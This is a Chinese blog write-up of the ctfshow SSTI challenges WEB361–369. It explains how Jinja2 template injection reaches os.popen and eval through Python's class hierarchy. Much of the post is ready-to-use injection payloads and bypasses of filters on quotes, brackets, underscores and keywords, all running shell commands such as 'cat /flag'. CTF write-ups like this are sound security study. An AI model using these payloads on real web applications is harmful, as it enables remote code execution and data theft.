yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. ctfshow
  3. 正文

ctfshow SSTI

2022年4月11日 320点热度 1人点赞 2条评论

简单说一下SSTI常用的函数,原理网上的讲解很多,贴个链接就行了SSTI模板注入 - 简书 (jianshu.com)

b. 寻找具体方法函数
__dict__:静态函数、类函数、普通函数、全局变量以及一些内置的属性,父类的__dict__无法影响子类

__getattribute__():获取实例、类、函数的属性。

WEB361

第一道题,就把我自己是怎么找的完整做个分享:

注入点纯靠经验了,看到有个Hello,盲猜是GET的name参数,试试就对了

接下来是测试引擎种类,看这张图

测试出来应该是Jinja2

下一步我们需要得到object类,从而得到object的子类

1.类转移函数:

__class__//属性,获取一个对象的class对象

__base__ //属性,对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法

__mro__ //属性,同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

2.找object类:
a. 利用'' [] "" ()等实例为基础进行构造
b. 利用
取类 __class__
取父类 __base__
__bases__
__mro__
3.获得所有可利用类列表
利用__subclasses__()寻找object的子类

这道题完全没有过滤,可以任选方式得到object的子类,我选择的是''.__class__.__base__.__subclasses__()

现在我们得到了一堆类,但是这些类并非都是可利用的

一般来说,可利用的类分为getshell类和文件读写类,这里我们就用getshell类做了

getshell类目前常用的函数有eval(globals里面的builtins模块),popen,system(globals里面的os模块),选择os模块吧

要得到os模块,关键是知道选择适当的类,这个类的__init__.__globals__得到的全局里面含有os模块

__globals__:记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。(key-value对)

那首先我们找到所有含有os模块的类:

for item in ''.__class__.__base__.__subclasses__():
    try: #忽略没有globals的类
        if 'os' in item.__init__.__globals__:
            allList.append(item)
    except:
        pass

但是题目中的环境可能跟我们本地的python环境不同,类种类也会有所不同,所以我们要找的是它们的交集

for aclass in classes.split(','):
    num+=1
    for target in allList:
        if str(target) in aclass:
            print(num,aclass)

我们选择一个uuid.UUID类,然后拿到os模块

''.__class__.__base__.__subclasses__()[408].__init__.__globals__['os']

接下来利用popen读出回显,payload:

{{''.__class__.__base__.__subclasses__()[408].__init__.__globals__['os'].popen('cat /flag').read()}}

还有上下文无关的payload:详见GreHack 2021 - Optimizing Server Side Template Injections payloads for jinja2 · Podalirius

姿势太多了,多见多学~

WEB362

一样的payload

{{''.__class__.__base__.__subclasses__()[408].__init__.__globals__['os'].popen('cat /flag').read()}}

WEB363

过滤了引号,利用request.args进行绕过

?name={{().__class__.__mro__[-1].__subclasses__()[408].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2)}}&arg1=eval&arg2=__import__('os').popen('cat /flag').read()

WEB364

过滤了args,换成request.cookies就行了

payload:

?name={{().__class__.__mro__[-1].__subclasses__()[408].__init__.__globals__.os.popen(request.cookies.p1).read()}}
cookie:p1=cat /flag

WEB365

中括号被扬了,用__getitem__代替

?name={{().__class__.__base__.__subclasses__().__getitem__(408).__init__.__globals__.os.popen(request.cookies.p1).read()}}
cookie:p1=cat /flag

WEB366

首先这个题多过滤了下划线,不能直接引用魔术方法了

那可以用|attr()拿到属性来绕过

点运算符应该是被扬了没有没有,自己没写对...

先给大家看看我麻烦的做法...

GET:?name={{()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6)|attr(request.cookies.p4)(request.cookies.p7)|attr(request.cookies.p4)(request.cookies.p8)(request.cookies.p9)}}
COOKIE:p1=__class__;p2=__base__;p3=__subclasses__;p4=__getitem__;p5=__init__;p6=__globals__;p7=__builtins__;p8=eval;p9=__import__('os').popen('cat /flag').read()

思路非常简单和暴力,纯靠|attr过滤器拿到eval函数然后执行命令

我一开始是这样写的:

GET:()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6).os

于是直接500了...

其实问题很简单,语法问题,解析的时候会先解析过滤器的部分,于是就先解析了attr(request.cookies.p6).os,然而我们想要实现的是对()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6)的结果取os的键值...(利用点运算符直接拿到键值,jinja2模板默认支持这种写法)

解决方案:加一对括号,over

payload2:

GET:?name={{(()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6)).os.popen(request.cookies.p7).read()}}
COOKIE:p1=__class__;p2=__base__;p3=__subclasses__;p4=__getitem__;p5=__init__;p6=__globals__;p7=cat /flag

WEB367

这道题应该是扬了os这些关键词(?),不过用我上一题的麻烦payload(纯用attr)倒是能过

payload直接照抄上题的payload1就行了

WEB368

{{}}被扬了,换成{%print(xxx)%}执行代码就行

payload:

GET:?name={% print(()|attr(request.cookies.p1)|attr(request.cookies.p2)|attr(request.cookies.p3)()|attr(request.cookies.p4)(408)|attr(request.cookies.p5)|attr(request.cookies.p6)|attr(request.cookies.p4)(request.cookies.p7)|attr(request.cookies.p4)(request.cookies.p8)(request.cookies.p9)) %}
COOKIE:p1=__class__;p2=__base__;p3=__subclasses__;p4=__getitem__;p5=__init__;p6=__globals__;p7=__builtins__;p8=eval;p9=__import__('os').popen('cat /flag').read()

或者{%set aaa=xxx%}也可以

WEB369

request和引号被扬了,有几种方法可以绕过去:

1.|string过滤器

这个很好用,可以把任何显示出来的东西都变成字符串,配合上|list和pop,基本上可以拿到一大堆字符

比如:()|select,select过滤器会返回一个object标识

<generator object select_or_reject at 0x00000220704AAF20>

|string|list就可以得到字符串,接下来用pop就可以拿到字符

扩展开来,中途的任何回显都可以利用|string|list拿字符

2.chr

chr函数如果拿到了,配合数字拿到所有字符都没问题

chr函数是__builtins__模块里面自带的预加载函数,所以一般是拿到__builtins__模块就可以了

3.dict()|join

在对dict对象调用join过滤器的时候,返回的是键值连接而成的字符串,且定义的时候不需要引号

例如:dict(o=a,s=b)|join->返回os

中途可以利用{%set%}语句记录已经拿到的东西

我没有用chr函数,纯用其他两种方法硬来的...

payload:

{% set line=(()|select|string|list).pop(24) %}
{% set blank=(()|select|string|list).pop(10) %}
{% set cl=(line+line+dict(cla=a,ss=a)|join+line+line) %}
{% set ba=(line+line+dict(ba=a,se=a)|join+line+line) %}
{% set sub=(line+line+dict(subcla=a,sses=a)|join+line+line) %}
{% set get=(line+line+dict(geti=a,tem=a)|join+line+line) %}
{% set ini=(line+line+dict(ini=a,t=a)|join+line+line) %}
{% set glo=(line+line+dict(glo=a,bals=a)|join+line+line) %}
{% set bui=(line+line+dict(bui=a,ltins=a)|join+line+line) %}
{% set eva=(line+line+dict(ev=a,al=a)|join+line+line) %}
{% set module=(dict(o=a,s=a)|join) %}
{% set sprit=(((((()|attr(cl)|attr(ba)|attr(sub))()|attr(get))(408))|attr(ini)|attr(glo)|attr(get)(module))|string|list).pop(-8) %}
{% set command=(dict(cat=a)|join)+blank+sprit+(dict(flag=a)|join) %}
{% print(((((()|attr(cl)|attr(ba)|attr(sub))()|attr(get))(408))|attr(ini)|attr(glo)|attr(get)(module)).popen(command).read()) %}

贴一个利用chr函数的payload:

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

——from mumuzi

剩下几题不多说了,先往下面做了...

参考文章(感谢各位师傅~):

ctfshow SSTI web361-web372 wp_是Mumuzi的博客-CSDN博客

CTFshow刷题日记-WEB-SSTI(web361-372)_OceanSec的博客-CSDN博客

(16条消息) CTFSHOW SSTI篇_yu22x的博客-CSDN博客_ctfshow ssti

(16条消息) 细说Jinja2之SSTI&bypass_合天网安实验室的博客-CSDN博客

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年4月26日

yink

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

  • 那我就让时光倒流

    不给你爹加友链是吧,今晚别睡太死,屁股贴着墙 :evil: :evil: :evil:

    2022年4月20日
    回复
    • yink

      @那我就让时光倒流 加了加了

      2022年4月21日
      回复
  • 取消回复

    COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

    THEME KRATOS MADE BY VTROIS